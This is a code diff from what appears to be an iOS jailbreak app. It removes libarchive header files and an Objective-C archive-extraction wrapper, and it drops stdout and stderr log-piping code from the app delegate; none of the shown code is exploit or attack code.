/* Bytes written to compressor or read from decompressor. */
__LA_DECL __LA_INT64_T archive_position_uncompressed(struct archive *);
__LA_DECL const char *archive_compression_name(struct archive *);
__LA_DECL int archive_compression(struct archive *);
__LA_DECL int archive_errno(struct archive *);
__LA_DECL const char *archive_error_string(struct archive *);
__LA_DECL const char *archive_format_name(struct archive *);
__LA_DECL int archive_format(struct archive *);
__LA_DECL void archive_clear_error(struct archive *);
__LA_DECL void archive_set_error(struct archive *, int _err,
const char *fmt, ...);
__LA_DECL void archive_copy_error(struct archive *dest,
struct archive *src);
__LA_DECL int archive_file_count(struct archive *);
#ifdef __cplusplus
}
#endif
/* These are meaningless outside of this header. */
#undef __LA_DECL
#undef __LA_GID_T
#undef __LA_UID_T
/* These need to remain defined because they're used in the
* callback type definitions. XXX Fix this. This is ugly. XXX */
/* #undef __LA_INT64_T */
/* #undef __LA_SSIZE_T */
#endif /* !ARCHIVE_H_INCLUDED */
-524
View File
@@ -1,524 +0,0 @@
/*-
* Copyright (c) 2003-2008 Tim Kientzle
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* $FreeBSD: head/lib/libarchive/archive_entry.h 201096 2009-12-28 02:41:27Z kientzle $
*/
#ifndef ARCHIVE_ENTRY_H_INCLUDED
#define ARCHIVE_ENTRY_H_INCLUDED
/*
* Note: archive_entry.h is for use outside of libarchive; the
* configuration headers (config.h, archive_platform.h, etc.) are
* purely internal. Do NOT use HAVE_XXX configuration macros to
* control the behavior of this header! If you must conditionalize,
* use predefined compiler and/or platform macros.
*/
#include <sys/types.h>
#include <stddef.h> /* for wchar_t */
#include <time.h>
#if defined(_WIN32) && !defined(__CYGWIN__)
#include <windows.h>
#endif
/* Get appropriate definitions of standard POSIX-style types. */
/* These should match the types used in 'struct stat' */
#if defined(_WIN32) && !defined(__CYGWIN__)
#define __LA_INT64_T __int64
# if defined(__BORLANDC__)
# define __LA_UID_T uid_t
# define __LA_GID_T gid_t
# define __LA_DEV_T dev_t
# define __LA_MODE_T mode_t
# else
# define __LA_UID_T short
# define __LA_GID_T short
# define __LA_DEV_T unsigned int
# define __LA_MODE_T unsigned short
# endif
#else
#include <unistd.h>
#define __LA_INT64_T int64_t
#define __LA_UID_T uid_t
#define __LA_GID_T gid_t
#define __LA_DEV_T dev_t
#define __LA_MODE_T mode_t
#endif
/*
* XXX Is this defined for all Windows compilers? If so, in what
* header? It would be nice to remove the __LA_INO_T indirection and
* just use plain ino_t everywhere. Likewise for the other types just
* above.
*/
#define __LA_INO_T ino_t
/*
* On Windows, define LIBARCHIVE_STATIC if you're building or using a
* .lib. The default here assumes you're building a DLL. Only
* libarchive source should ever define __LIBARCHIVE_BUILD.
*/
#if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC)
# ifdef __LIBARCHIVE_BUILD
# ifdef __GNUC__
# define __LA_DECL __attribute__((dllexport)) extern
# else
# define __LA_DECL __declspec(dllexport)
# endif
# else
# ifdef __GNUC__
# define __LA_DECL __attribute__((dllimport)) extern
# else
# define __LA_DECL __declspec(dllimport)
# endif
# endif
#else
/* Static libraries on all platforms and shared libraries on non-Windows. */
# define __LA_DECL
#endif
#ifdef __cplusplus
extern "C" {
#endif
/*
* Description of an archive entry.
*
* You can think of this as "struct stat" with some text fields added in.
*
* TODO: Add "comment", "charset", and possibly other entries that are
* supported by "pax interchange" format. However, GNU, ustar, cpio,
* and other variants don't support these features, so they're not an
* excruciatingly high priority right now.
*
* TODO: "pax interchange" format allows essentially arbitrary
* key/value attributes to be attached to any entry. Supporting
* such extensions may make this library useful for special
* applications (e.g., a package manager could attach special
* package-management attributes to each entry).
*/
struct archive_entry;
/*
* File-type constants. These are returned from archive_entry_filetype()
* and passed to archive_entry_set_filetype().
*
* These values match S_XXX defines on every platform I've checked,
* including Windows, AIX, Linux, Solaris, and BSD. They're
* (re)defined here because platforms generally don't define the ones
* they don't support. For example, Windows doesn't define S_IFLNK or
* S_IFBLK. Instead of having a mass of conditional logic and system
* checks to define any S_XXX values that aren't supported locally,
* I've just defined a new set of such constants so that
* libarchive-based applications can manipulate and identify archive
* entries properly even if the hosting platform can't store them on
* disk.
*
* These values are also used directly within some portable formats,
* such as cpio. If you find a platform that varies from these, the
* correct solution is to leave these alone and translate from these
* portable values to platform-native values when entries are read from
* or written to disk.
*/
#define AE_IFMT 0170000
#define AE_IFREG 0100000
#define AE_IFLNK 0120000
#define AE_IFSOCK 0140000
#define AE_IFCHR 0020000
#define AE_IFBLK 0060000
#define AE_IFDIR 0040000
#define AE_IFIFO 0010000
/*
* Basic object manipulation
*/
__LA_DECL struct archive_entry *archive_entry_clear(struct archive_entry *);
/* The 'clone' function does a deep copy; all of the strings are copied too. */
__LA_DECL struct archive_entry *archive_entry_clone(struct archive_entry *);
__LA_DECL void archive_entry_free(struct archive_entry *);
__LA_DECL struct archive_entry *archive_entry_new(void);
/*
* Retrieve fields from an archive_entry.
*
* There are a number of implicit conversions among these fields. For
* example, if a regular string field is set and you read the _w wide
* character field, the entry will implicitly convert narrow-to-wide
* using the current locale. Similarly, dev values are automatically
* updated when you write devmajor or devminor and vice versa.
*
* In addition, fields can be "set" or "unset." Unset string fields
* return NULL, non-string fields have _is_set() functions to test
* whether they've been set. You can "unset" a string field by
* assigning NULL; non-string fields have _unset() functions to
* unset them.
*
* Note: There is one ambiguity in the above; string fields will
* also return NULL when implicit character set conversions fail.
* This is usually what you want.
*/
__LA_DECL time_t archive_entry_atime(struct archive_entry *);
__LA_DECL long archive_entry_atime_nsec(struct archive_entry *);
__LA_DECL int archive_entry_atime_is_set(struct archive_entry *);
__LA_DECL time_t archive_entry_birthtime(struct archive_entry *);
__LA_DECL long archive_entry_birthtime_nsec(struct archive_entry *);
__LA_DECL int archive_entry_birthtime_is_set(struct archive_entry *);
__LA_DECL time_t archive_entry_ctime(struct archive_entry *);
__LA_DECL long archive_entry_ctime_nsec(struct archive_entry *);
__LA_DECL int archive_entry_ctime_is_set(struct archive_entry *);
__LA_DECL dev_t archive_entry_dev(struct archive_entry *);
__LA_DECL dev_t archive_entry_devmajor(struct archive_entry *);
__LA_DECL dev_t archive_entry_devminor(struct archive_entry *);
__LA_DECL __LA_MODE_T archive_entry_filetype(struct archive_entry *);
__LA_DECL void archive_entry_fflags(struct archive_entry *,
unsigned long * /* set */,
unsigned long * /* clear */);
__LA_DECL const char *archive_entry_fflags_text(struct archive_entry *);
__LA_DECL __LA_GID_T archive_entry_gid(struct archive_entry *);
__LA_DECL const char *archive_entry_gname(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_gname_w(struct archive_entry *);
__LA_DECL const char *archive_entry_hardlink(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_hardlink_w(struct archive_entry *);
__LA_DECL __LA_INO_T archive_entry_ino(struct archive_entry *);
__LA_DECL __LA_INT64_T archive_entry_ino64(struct archive_entry *);
__LA_DECL __LA_MODE_T archive_entry_mode(struct archive_entry *);
__LA_DECL time_t archive_entry_mtime(struct archive_entry *);
__LA_DECL long archive_entry_mtime_nsec(struct archive_entry *);
__LA_DECL int archive_entry_mtime_is_set(struct archive_entry *);
__LA_DECL unsigned int archive_entry_nlink(struct archive_entry *);
__LA_DECL const char *archive_entry_pathname(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_pathname_w(struct archive_entry *);
__LA_DECL dev_t archive_entry_rdev(struct archive_entry *);
__LA_DECL dev_t archive_entry_rdevmajor(struct archive_entry *);
__LA_DECL dev_t archive_entry_rdevminor(struct archive_entry *);
__LA_DECL const char *archive_entry_sourcepath(struct archive_entry *);
__LA_DECL __LA_INT64_T archive_entry_size(struct archive_entry *);
__LA_DECL int archive_entry_size_is_set(struct archive_entry *);
__LA_DECL const char *archive_entry_strmode(struct archive_entry *);
__LA_DECL const char *archive_entry_symlink(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_symlink_w(struct archive_entry *);
__LA_DECL __LA_UID_T archive_entry_uid(struct archive_entry *);
__LA_DECL const char *archive_entry_uname(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_uname_w(struct archive_entry *);
/*
* Set fields in an archive_entry.
*
* Note that string 'set' functions do not copy the string, only the pointer.
* In contrast, 'copy' functions do copy the object pointed to.
*
* Note: As of libarchive 2.4, 'set' functions do copy the string and
* are therefore exact synonyms for the 'copy' versions. The 'copy'
* names will be retired in libarchive 3.0.
*/
__LA_DECL void archive_entry_set_atime(struct archive_entry *, time_t, long);
__LA_DECL void archive_entry_unset_atime(struct archive_entry *);
#if defined(_WIN32) && !defined(__CYGWIN__)
__LA_DECL void archive_entry_copy_bhfi(struct archive_entry *,
BY_HANDLE_FILE_INFORMATION *);
#endif
__LA_DECL void archive_entry_set_birthtime(struct archive_entry *, time_t, long);
__LA_DECL void archive_entry_unset_birthtime(struct archive_entry *);
__LA_DECL void archive_entry_set_ctime(struct archive_entry *, time_t, long);
__LA_DECL void archive_entry_unset_ctime(struct archive_entry *);
__LA_DECL void archive_entry_set_dev(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_devmajor(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_devminor(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_filetype(struct archive_entry *, unsigned int);
__LA_DECL void archive_entry_set_fflags(struct archive_entry *,
unsigned long /* set */, unsigned long /* clear */);
/* Returns pointer to start of first invalid token, or NULL if none. */
/* Note that all recognized tokens are processed, regardless. */
__LA_DECL const char *archive_entry_copy_fflags_text(struct archive_entry *,
const char *);
__LA_DECL const wchar_t *archive_entry_copy_fflags_text_w(struct archive_entry *,
const wchar_t *);
__LA_DECL void archive_entry_set_gid(struct archive_entry *, __LA_GID_T);
__LA_DECL void archive_entry_set_gname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_gname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_gname_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_gname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_hardlink(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_hardlink(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_hardlink_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_hardlink_utf8(struct archive_entry *, const char *);
#if ARCHIVE_VERSION_NUMBER >= 3000000
/* Starting with libarchive 3.0, this will be synonym for ino64. */
__LA_DECL void archive_entry_set_ino(struct archive_entry *, __LA_INT64_T);
#else
__LA_DECL void archive_entry_set_ino(struct archive_entry *, unsigned long);
#endif
__LA_DECL void archive_entry_set_ino64(struct archive_entry *, __LA_INT64_T);
__LA_DECL void archive_entry_set_link(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_link(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_link_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_link_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_mode(struct archive_entry *, __LA_MODE_T);
__LA_DECL void archive_entry_set_mtime(struct archive_entry *, time_t, long);
__LA_DECL void archive_entry_unset_mtime(struct archive_entry *);
__LA_DECL void archive_entry_set_nlink(struct archive_entry *, unsigned int);
__LA_DECL void archive_entry_set_pathname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_pathname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_pathname_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_pathname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_perm(struct archive_entry *, __LA_MODE_T);
__LA_DECL void archive_entry_set_rdev(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_rdevmajor(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_rdevminor(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_size(struct archive_entry *, __LA_INT64_T);
__LA_DECL void archive_entry_unset_size(struct archive_entry *);
__LA_DECL void archive_entry_copy_sourcepath(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_symlink(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_symlink(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_symlink_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_symlink_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_uid(struct archive_entry *, __LA_UID_T);
__LA_DECL void archive_entry_set_uname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_uname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_uname_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_uname_utf8(struct archive_entry *, const char *);
/*
* Routines to bulk copy fields to/from a platform-native "struct
* stat." Libarchive used to just store a struct stat inside of each
* archive_entry object, but this created issues when trying to
* manipulate archives on systems different than the ones they were
* created on.
*
* TODO: On Linux, provide both stat32 and stat64 versions of these functions.
*/
__LA_DECL const struct stat *archive_entry_stat(struct archive_entry *);
__LA_DECL void archive_entry_copy_stat(struct archive_entry *, const struct stat *);
/*
* ACL routines. This used to simply store and return text-format ACL
* strings, but that proved insufficient for a number of reasons:
* = clients need control over uname/uid and gname/gid mappings
* = there are many different ACL text formats
* = would like to be able to read/convert archives containing ACLs
* on platforms that lack ACL libraries
*
* This last point, in particular, forces me to implement a reasonably
* complete set of ACL support routines.
*
* TODO: Extend this to support NFSv4/NTFS permissions. That should
* allow full ACL support on Mac OS, in particular, which uses
* POSIX.1e-style interfaces to manipulate NFSv4/NTFS permissions.
*/
/*
* Permission bits mimic POSIX.1e. Note that I've not followed POSIX.1e's
* "permset"/"perm" abstract type nonsense. A permset is just a simple
* bitmap, following long-standing Unix tradition.
*/
#define ARCHIVE_ENTRY_ACL_EXECUTE 1
#define ARCHIVE_ENTRY_ACL_WRITE 2
#define ARCHIVE_ENTRY_ACL_READ 4
/* We need to be able to specify either or both of these. */
#define ARCHIVE_ENTRY_ACL_TYPE_ACCESS 256
#define ARCHIVE_ENTRY_ACL_TYPE_DEFAULT 512
/* Tag values mimic POSIX.1e */
#define ARCHIVE_ENTRY_ACL_USER 10001 /* Specified user. */
#define ARCHIVE_ENTRY_ACL_USER_OBJ 10002 /* User who owns the file. */
#define ARCHIVE_ENTRY_ACL_GROUP 10003 /* Specified group. */
#define ARCHIVE_ENTRY_ACL_GROUP_OBJ 10004 /* Group who owns the file. */
#define ARCHIVE_ENTRY_ACL_MASK 10005 /* Modify group access. */
#define ARCHIVE_ENTRY_ACL_OTHER 10006 /* Public. */
/*
* Set the ACL by clearing it and adding entries one at a time.
* Unlike the POSIX.1e ACL routines, you must specify the type
* (access/default) for each entry. Internally, the ACL data is just
* a soup of entries. API calls here allow you to retrieve just the
* entries of interest. This design (which goes against the spirit of
* POSIX.1e) is useful for handling archive formats that combine
* default and access information in a single ACL list.
*/
__LA_DECL void archive_entry_acl_clear(struct archive_entry *);
__LA_DECL void archive_entry_acl_add_entry(struct archive_entry *,
int /* type */, int /* permset */, int /* tag */,
int /* qual */, const char * /* name */);
__LA_DECL void archive_entry_acl_add_entry_w(struct archive_entry *,
int /* type */, int /* permset */, int /* tag */,
int /* qual */, const wchar_t * /* name */);
/*
* To retrieve the ACL, first "reset", then repeatedly ask for the
* "next" entry. The want_type parameter allows you to request only
* access entries or only default entries.
*/
__LA_DECL int archive_entry_acl_reset(struct archive_entry *, int /* want_type */);
__LA_DECL int archive_entry_acl_next(struct archive_entry *, int /* want_type */,
int * /* type */, int * /* permset */, int * /* tag */,
int * /* qual */, const char ** /* name */);
//__LA_DECL int archive_entry_acl_next_w(struct archive_entry *, int /* want_type */,
// int * /* type */, int * /* permset */, int * /* tag */,
// int * /* qual */, const wchar_t ** /* name */);
/*
* Construct a text-format ACL. The flags argument is a bitmask that
* can include any of the following:
*
* ARCHIVE_ENTRY_ACL_TYPE_ACCESS - Include access entries.
* ARCHIVE_ENTRY_ACL_TYPE_DEFAULT - Include default entries.
* ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID - Include extra numeric ID field in
* each ACL entry. (As used by 'star'.)
* ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT - Include "default:" before each
* default ACL entry.
*/
#define ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 1024
#define ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 2048
__LA_DECL const wchar_t *archive_entry_acl_text_w(struct archive_entry *,
int /* flags */);
/* Return a count of entries matching 'want_type' */
__LA_DECL int archive_entry_acl_count(struct archive_entry *, int /* want_type */);
/*
* Private ACL parser. This is private because it handles some
* very weird formats that clients should not be messing with.
* Clients should only deal with their platform-native formats.
* Because of the need to support many formats cleanly, new arguments
* are likely to get added on a regular basis. Clients who try to use
* this interface are likely to be surprised when it changes.
*
* You were warned!
*
* TODO: Move this declaration out of the public header and into
* a private header. Warnings above are silly.
*/
__LA_DECL int __archive_entry_acl_parse_w(struct archive_entry *,
const wchar_t *, int /* type */);
/*
* extended attributes
*/
__LA_DECL void archive_entry_xattr_clear(struct archive_entry *);
__LA_DECL void archive_entry_xattr_add_entry(struct archive_entry *,
const char * /* name */, const void * /* value */,
size_t /* size */);
/*
* To retrieve the xattr list, first "reset", then repeatedly ask for the
* "next" entry.
*/
__LA_DECL int archive_entry_xattr_count(struct archive_entry *);
__LA_DECL int archive_entry_xattr_reset(struct archive_entry *);
__LA_DECL int archive_entry_xattr_next(struct archive_entry *,
const char ** /* name */, const void ** /* value */, size_t *);
/*
* Utility to match up hardlinks.
*
* The 'struct archive_entry_linkresolver' is a cache of archive entries
* for files with multiple links. Here's how to use it:
* 1. Create a lookup object with archive_entry_linkresolver_new()
* 2. Tell it the archive format you're using.
* 3. Hand each archive_entry to archive_entry_linkify().
* That function will return 0, 1, or 2 entries that should
* be written.
* 4. Call archive_entry_linkify(resolver, NULL) until
* no more entries are returned.
* 5. Call archive_entry_link_resolver_free(resolver) to free resources.
*
* The entries returned have their hardlink and size fields updated
* appropriately. If an entry is passed in that does not refer to
* a file with multiple links, it is returned unchanged. The intention
* is that you should be able to simply filter all entries through
* this machine.
*
* To make things more efficient, be sure that each entry has a valid
* nlinks value. The hardlink cache uses this to track when all links
* have been found. If the nlinks value is zero, it will keep every
* name in the cache indefinitely, which can use a lot of memory.
*
* Note that archive_entry_size() is reset to zero if the file
* body should not be written to the archive. Pay attention!
*/
struct archive_entry_linkresolver;
/*
* There are three different strategies for marking hardlinks.
* The descriptions below name them after the best-known
* formats that rely on each strategy:
*
* "Old cpio" is the simplest, it always returns any entry unmodified.
* As far as I know, only cpio formats use this. Old cpio archives
* store every link with the full body; the onus is on the dearchiver
* to detect and properly link the files as they are restored.
* "tar" is also pretty simple; it caches a copy the first time it sees
* any link. Subsequent appearances are modified to be hardlink
* references to the first one without any body. Used by all tar
* formats, although the newest tar formats permit the "old cpio" strategy
* as well. This strategy is very simple for the dearchiver,
* and reasonably straightforward for the archiver.
* "new cpio" is trickier. It stores the body only with the last
* occurrence. The complication is that we might not
* see every link to a particular file in a single session, so
* there's no easy way to know when we've seen the last occurrence.
* The solution here is to queue one link until we see the next.
* At the end of the session, you can enumerate any remaining
* entries by calling archive_entry_linkify(NULL) and store those
* bodies. If you have a file with three links l1, l2, and l3,
* you'll get the following behavior if you see all three links:
* linkify(l1) => NULL (the resolver stores l1 internally)
* linkify(l2) => l1 (resolver stores l2, you write l1)
* linkify(l3) => l2, l3 (all links seen, you can write both).
* If you only see l1 and l2, you'll get this behavior:
* linkify(l1) => NULL
* linkify(l2) => l1
* linkify(NULL) => l2 (at end, you retrieve remaining links)
* As the name suggests, this strategy is used by newer cpio variants.
* It's noticably more complex for the archiver, slightly more complex
* for the dearchiver than the tar strategy, but makes it straightforward
* to restore a file using any link by simply continuing to scan until
* you see a link that is stored with a body. In contrast, the tar
* strategy requires you to rescan the archive from the beginning to
* correctly extract an arbitrary link.
*/
__LA_DECL struct archive_entry_linkresolver *archive_entry_linkresolver_new(void);
__LA_DECL void archive_entry_linkresolver_set_strategy(
struct archive_entry_linkresolver *, int /* format_code */);
__LA_DECL void archive_entry_linkresolver_free(struct archive_entry_linkresolver *);
__LA_DECL void archive_entry_linkify(struct archive_entry_linkresolver *,
struct archive_entry **, struct archive_entry **);
#ifdef __cplusplus
}
#endif
/* This is meaningless outside of this header. */
#undef __LA_DECL
#endif /* !ARCHIVE_ENTRY_H_INCLUDED */
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+1 -3
View File
@@ -11,9 +11,7 @@
@interface AppDelegate : UIResponder <UIApplicationDelegate>
@property (strong, nonatomic) UIWindow *window;
@property (strong, atomic) NSPipe *combinedPipe;
@property (assign) int orig_stderr;
@property (assign) int orig_stdout;
@end
+3 -64
View File
@@ -6,9 +6,8 @@
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
//
#include <sys/time.h>
#import "AppDelegate.h"
#include "JailbreakViewController.h"
#include "ViewController.h"
#include "SettingsTableViewController.h"
#include "utils.h"
@@ -18,58 +17,6 @@
@implementation AppDelegate
-(AppDelegate*)init {
self = [super init];
enableLogging();
_combinedPipe = [NSPipe pipe];
_orig_stdout = dup(STDOUT_FILENO);
_orig_stderr = dup(STDERR_FILENO);
dup2(_combinedPipe.fileHandleForWriting.fileDescriptor, STDOUT_FILENO);
dup2(_combinedPipe.fileHandleForWriting.fileDescriptor, STDERR_FILENO);
[self performSelectorInBackground:@selector(handlePipe) withObject:nil];
return self;
}
-(NSString*)readDataFromFD:(int)infd toFD:(int)outfd {
char s[0x10000];
ssize_t nread = read(infd, s, sizeof(s));
if (nread > 0) {
write(outfd, s, nread);
}
if (logfd > 0) {
if (write(logfd, s, nread) != nread) {
write(_orig_stderr, "error writing to logfile\n", 26);
}
}
return [[NSString alloc] initWithBytes:s length:nread encoding:NSUTF8StringEncoding];
}
- (void)handlePipe {
fd_set fds;
NSMutableString *outline = [NSMutableString new];
int input_fd = _combinedPipe.fileHandleForReading.fileDescriptor;
int rv;
do {
FD_ZERO(&fds);
FD_SET(input_fd, &fds);
rv = select(FD_SETSIZE, &fds, NULL, NULL, NULL);
if (FD_ISSET(input_fd, &fds)) {
NSString *read = [self readDataFromFD:input_fd toFD:_orig_stdout];
[outline appendString:read];
NSRange lastNewline = [read rangeOfString:@"\n" options:NSBackwardsSearch];
if (lastNewline.location != NSNotFound) {
lastNewline.location = outline.length - (read.length - lastNewline.location);
NSRange wanted = {0, lastNewline.location + 1};
[JailbreakViewController.sharedController appendTextToOutput:[outline substringWithRange:wanted]];
[outline deleteCharactersInRange:wanted];
}
}
} while (rv > 0);
}
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
// Override point for customization after application launch.
[self initPrefs];
@@ -148,14 +95,6 @@
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_RELOAD_SYSTEM_DAEMONS];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_HIDE_LOG_WINDOW] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_HIDE_LOG_WINDOW];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_RESET_CYDIA_CACHE] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_RESET_CYDIA_CACHE];
[[NSUserDefaults standardUserDefaults] synchronize];
}
}
- (void)initShortcuts {
@@ -169,7 +108,7 @@
- (void)application:(UIApplication *)application performActionForShortcutItem:(UIApplicationShortcutItem *)shortcutItem completionHandler:(void (^)(BOOL))completionHandler {
switch ([[shortcutItem type] integerValue]) {
case 1: {
[[JailbreakViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
[[ViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
break;
}
default:
@@ -179,7 +118,7 @@
- (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary <UIApplicationOpenURLOptionsKey, id> *)options {
if ([[url scheme] isEqualToString:@"jailbreak"]) {
[[JailbreakViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
[[ViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
return YES;
}
return NO;
-32
View File
@@ -1,32 +0,0 @@
//
// Archive.h
//
// Created by Sam Bingner on 1/4/19.
// Copyright © 2019 Sam Bingner. All rights reserved.
//
#ifndef _ARCHIVE_FILE_H
#define _ARCHIVE_FILE_H
#import <Foundation/Foundation.h>
#import <archive.h>
@interface ArchiveFile : NSObject
@property (strong,readonly) NSArray <NSString*> *files;
+(ArchiveFile*)archiveWithFile:(NSString*)filename;
+(ArchiveFile*)archiveWithFd:(int)fd;
-(ArchiveFile*)initWithFile:(NSString*)filename;
-(ArchiveFile*)initWithFd:(int)fd;
-(BOOL)contains:(NSString*)file;
-(NSArray <NSString*> *)files;
-(BOOL)extract;
-(BOOL)extractFileNum:(int)fileNum toFd:(int)fd;
-(BOOL)extract:(NSString*)file toPath:(NSString*)path;
-(BOOL)extractWithFlags:(int)flags;
-(BOOL)extractToPath:(NSString*)path;
-(BOOL)extractToPath:(NSString*)path overWriteDirectories:(BOOL)overwrite_dirs;
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags;
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs;
@end
#endif /* _ARCHIVE_FILE_H */
-461
View File
@@ -1,461 +0,0 @@
//
// Archive.m
//
// Created by Sam Bingner on 1/4/19.
// Copyright © 2019 Sam Bingner. All rights reserved.
//
#import "ArchiveFile.h"
#import <archive.h>
#import <archive_entry.h>
#import <inject.h> // Test static trust cache
#define DEFAULT_FLAGS (ARCHIVE_EXTRACT_TIME|ARCHIVE_EXTRACT_PERM|ARCHIVE_EXTRACT_ACL| \
ARCHIVE_EXTRACT_FFLAGS|ARCHIVE_EXTRACT_OWNER|ARCHIVE_EXTRACT_UNLINK)
static int
copy_data(struct archive *ar, struct archive *aw)
{
int r;
const void *buff;
size_t size;
off_t offset;
for (;;) {
r = archive_read_data_block(ar, &buff, &size, &offset);
if (r == ARCHIVE_EOF)
return (ARCHIVE_OK);
if (r < ARCHIVE_OK)
return (r);
if (archive_write_data_block(aw, buff, size, offset) < ARCHIVE_OK) {
NSLog(@"Archive: %s", archive_error_string(aw));
return (r);
}
}
}
@implementation ArchiveFile {
NSMutableDictionary *_files;
int _fd;
BOOL _hasReadFiles;
BOOL _isPipe;
}
+(ArchiveFile*)archiveWithFile:(NSString *)filename
{
#if __has_feature(objc_arc)
return [[ArchiveFile alloc] initWithFile:filename];
#else
return [[[ArchiveFile alloc] initWithFile:filename] autorelease];
#endif
}
+(ArchiveFile*)archiveWithFd:(int)fd
{
#if __has_feature(objc_arc)
return [[ArchiveFile alloc] initWithFd:fd];
#else
return [[[ArchiveFile alloc] initWithFd:fd] autorelease];
#endif
}
-(void)readContents
{
struct archive *a = archive_read_new();
archive_read_support_compression_all(a);
archive_read_support_format_all(a);
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK)
return;
struct archive_entry *entry;
_files = [NSMutableDictionary new];
while (archive_read_next_header(a, &entry) == ARCHIVE_OK) {
NSString *path = @(archive_entry_pathname(entry));
_files[path] = [NSMutableDictionary new];
_files[path][@"mode"] = @(archive_entry_mode(entry));
_files[path][@"uid"] = @(archive_entry_uid(entry));
_files[path][@"gid"] = @(archive_entry_gid(entry));
time_t mtime = archive_entry_mtime(entry);
if (mtime) {
_files[path][@"mtime"] = [NSDate dateWithTimeIntervalSince1970:mtime];
}
}
archive_read_close(a);
archive_read_finish(a);
lseek(_fd, 0, SEEK_SET);
}
-(ArchiveFile*)initWithFile:(NSString*)filename
{
if (![[NSFileManager defaultManager] fileExistsAtPath:filename]) {
NSLog(@"Archive: File \"%@\" does not exist", filename);
return nil;
}
self = [self init];
_files = nil;
_hasReadFiles = NO;
_fd = open(filename.UTF8String, O_RDONLY);
if (_fd < 0) {
perror("Archive open file returned error");
return nil;
}
struct archive *a = archive_read_new();
archive_read_support_compression_all(a);
archive_read_support_format_all(a);
